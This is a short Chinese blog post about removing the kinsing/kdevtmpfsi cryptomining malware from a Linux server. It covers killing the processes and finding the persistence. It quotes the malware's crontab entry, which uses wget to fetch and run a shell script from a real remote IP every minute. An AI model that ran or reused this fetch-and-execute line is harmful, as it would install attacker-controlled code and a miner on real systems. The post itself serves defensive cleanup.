首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >linux 中了挖矿病毒

linux 中了挖矿病毒

作者头像
全栈程序员站长
发布2022-06-27 20:27:50
发布2022-06-27 20:27:50
2.5K00
代码可运行
举报
运行总次数:0
代码可运行

大家好,又见面了,我是你们的朋友全栈君。

文章目录

中毒特征磁盘cpu 跑满 100%

如何处理

电脑中了挖矿病毒

代码语言:javascript
代码运行次数:0
运行
复制
ps -aux | grep kinsing
root     19447  0.0  1.8 119172 35084 ?        Sl   4月15   0:04 /var/tmp/kinsing
root     27247  0.0  0.0 112728   972 pts/0    D+   07:47   0:00 grep --color=auto kinsing


ps -aux | grep kdevtmpfsi
root     25493 94.7  0.0 515448  1620 ?        Ssl  07:46   1:17 /tmp/kdevtmpfsi
root     27249  0.0  0.0 112728   980 pts/0    R+   07:47   0:00 grep --color=auto kdevtmpfsi


pkill -9 kinsing
pkill -9 kdevtmpfsi

反复发作

代码语言:javascript
代码运行次数:0
运行
复制
#杀掉以后还会换端口
pkill -9 kinsing
[root@localhost tmp]# ps -aux | grep kinsing
root      6087  0.0  0.0 112728   976 pts/0    S+   07:56   0:00 grep --color=auto kinsing
代码语言:javascript
代码运行次数:0
运行
复制
查看定时任务
crontab -l
* * * * * wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
 
 pkill -9 kinsing
 ps -aux | grep kinsing
终于删掉了

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/133160.html原文链接:https://javaforall.cn

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022年6月9,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 文章目录
  • 中毒特征磁盘cpu 跑满 100%
  • 如何处理
  • 反复发作
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档